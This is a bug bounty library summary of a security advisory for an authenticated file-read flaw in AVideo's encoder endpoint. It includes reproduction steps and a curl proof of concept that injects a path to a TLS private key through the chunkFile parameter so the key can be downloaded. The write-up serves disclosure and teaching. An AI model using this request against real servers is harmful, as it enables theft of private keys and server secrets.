# AVideo has an authenticated arbitrary local file read via `chunkFile` path injection in `aVideoEncoder.json.php`

Authenticated uploader passes arbitrary local path as chunkFile to aVideoEncoder.json.php, copying server files like TLS private keys into public video storage for download.

- Payout: Research
- Severity: high
- Program: AVideo
- Found by: gr00ve3
- Disclosed: 2026-03-19
- CVE: CVE-2026-33354
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-4jw9-5hrc-m4j6
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-4jw9-5hrc-m4j6
- Tags: area:web domain:web impact:data-leak kind:research platform:ghsa sev:high tech:php technique:source-review vuln:file-upload vuln:info-disclosure vuln:path-traversal vuln:secrets-leak

**Target:** POST /objects/aVideoEncoder.json.php chunkFile parameter
**Root cause:** The chunkFile parameter is validated only by isValidURLOrPath(), which permits any path under broad server directories (app root, cache, tmp, videos) and rejects only .php files, instead of restricting to server-generated chunk locations.
**Steps:**
1. Log in as a low-privileged upload-capable user via `POST /objects/login.json.php` with `user=attacker&pass=UserPass123!`.
2. Create an attacker-owned video via `POST /view/mini-upload-form/upload.php` with `upl=@poc.mp4;type=video/mp4` to obtain `videos_id` and `filename`.
3. POST to `/objects/aVideoEncoder.json.php` with `videos_id=4&format=mp4&title=poc&description=test&chunkFile=/var/www/html/AVideo/.compose/letsencrypt/live/localhost/privkey.pem`.
4. GET `/videos/<filename>/<filename>.mp4` to download the copied local file.
**How found:** Reporter inspected the chunkFile handling in aVideoEncoder.json.php and noticed isValidURLOrPath() only blocks .php files while allowing broad server directories, then tested with a known local path (letsencrypt privkey.pem) to confirm the copy-and-download primitive.
**Exploitation:** Attacker with upload permission and an owned editable video supplies an arbitrary readable local path as chunkFile; the encoder copies that file into the attacker's public video storage, then the attacker downloads it over HTTP, exfiltrating secrets such as the TLS private key.
**Insight:** When a parameter is meant for server-generated temp/chunk paths, check whether the validator is a denylist (here only .php) rather than an allowlist scoped to the intended directory; TLS keys under .compose/letsencrypt are a high-value read target.

## Proof of concept (copied exactly from the original report)

**curl POST with chunkFile path injection**

```
curl -s -b attacker.cookies \
  -d 'videos_id=4&format=mp4&title=poc&description=test&chunkFile=/var/www/html/AVideo/.compose/letsencrypt/live/localhost/privkey.pem' \
  http://127.0.0.1/objects/aVideoEncoder.json.php
```

